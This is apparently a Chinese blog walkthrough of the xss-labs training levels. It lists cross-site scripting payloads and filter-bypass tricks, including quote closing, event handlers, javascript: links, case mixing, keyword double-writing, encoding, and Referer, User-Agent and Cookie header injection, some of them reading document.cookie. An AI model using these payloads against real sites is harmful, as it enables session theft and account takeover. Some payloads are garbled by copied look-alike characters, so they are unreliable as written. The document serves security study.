xss-labs实操

文章目录

1.Level

无过滤法

2.Level2

">闭合

">&submit=搜索

通过观察发现alert里的引号没了,是不是被过滤了呢

因为如果该语句类似如下

<"Str">,也就是说script在引号里面,那么是执行不了的,需要闭合操作,因此前面加个">扔给前面的雨具语句

3.Level3

单引号闭合+事件函数

回显正常,但是没有执行,是什么原因呢,看下面这个发现是在input里

而input可以执行如下的事件函数

主要事件表:

这些都是可供参考的模式

因此构造payload:' οnclick= alert("123")

出现了红色的onclick,前面用双引号不出现

但是发现alert前面被加了双引号,然后后面又有一个单引号和双引号

因此应该补一个单引号,所以

payload:' οnclick=' alert("123");

4.Level4

双引号闭合+事件函数

输入

发现返回了

看这里也是用到了input,那么还是用事件函数

payload:" οnclick=alert('123');"

5.Level5

引号闭合+链接

输入

发现变成

说明script被过滤

还是input,还得用事件函数

输入" οnclick= "alert('123');

o和n被插入了_,也就是说需要做关键字绕过

因此只能再寻找方法:"><a href=javascript:alert('xss')>xss

发现这个方式没有过滤

6.Level6

大小写绕过

script还是被过滤,不能用

onclicke也被过滤,不能用

href也是,那咋办呢

大小写绕过:"><a hRef=javascript:alert('xss')>xss

7.Level7

多写绕过

这一关会直接删除script,会删除on

绕过方法很简单,多写就行:" oonnclick=alert('123');"

即中间多写一个on,两边再接起来就行

8.Level8

unicode编码

href 和script都被过滤,大小写也没用

最后只能使用unicode编码

https://c.runoob.com/front-end/3602/

javascrIpt:alert('xss')

9.Level9

unicode编码+//注释

或unicode编码+/**/注释

输入http://www.baidu.com,没有报错

输入:javascript:alert('xss')//http://www.baidu.com

Unicode编码一下javascript:alert('xss')

//表示注释后面的内容

javascript:alert('xss')//http://

10.Level10

隐藏标签赋值

需为t_sort赋值,需把type赋值为空,不然不显示

t_sort=123" type="" οnclick="alert('xss')

11.Level11

手动编辑赋值

这一关也存在隐藏标签

t_link=123" type="" οnclick="alert('xss')

t_history=123" type="" οnclick="alert('xss')

t_sort=123" type="" οnclick="alert('xss')

t_ref=123" type="" οnclick="alert('xss')

逐个试完还是只有t_sort有变化,但type被写死了

既然语句写不进去,那么手动编辑就好了,强制给type赋值

referer注入

方法二是使用bp抓包通过修改入口referer链接实现

12.Level12

和上一关一模一样的做法

12关方法二

UA头注入

13.Level13

Cookie注入

14关程序有误,链接点不进去,好像是个上传页面,要上传一个有exif漏洞的图片,算了,知道咋回事就行

14.xss绕过总结

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

相关推荐
油丶酸萝卜别吃7 小时前
前端转全栈学习路线
前端·学习
浮生望7 小时前
前端路由进阶:History API原理与手写HistoryRouter
前端
陆枫Larry7 小时前
JavaScript 中的竞态是什么,为啥会有竟态?
前端
上海安当技术9 小时前
半天接入:USBKey RESTful API + C 动态库,Web 和 C/S 两套集成路径实战
前端·后端·restful·集成·usbkey
DevUI团队10 小时前
从“即兴创作”到“规格先行”,华为云码道(CodeArts)代码智能体持续深耕企业级规范驱动开发能力
前端·人工智能·后端
weixin_4316004411 小时前
NestJS 入门(3):Guard 如何挡住未登录请求?
前端·后端·学习·nest.js
kyriewen11 小时前
我用Claude Code两天干完了团队两周的排期——周报发出去那一刻我就后悔了
前端·javascript·ai编程
IT_陈寒11 小时前
JavaScript类型转换把我坑惨了,这破玩意真该早点搞明白
前端·人工智能·后端
用户9385156350712 小时前
Type vs Interface:读完这篇就没有面试官能难倒你了
前端·面试·typescript
油丶酸萝卜别吃13 小时前
jquery-ajax.js 说明文档
前端·javascript·jquery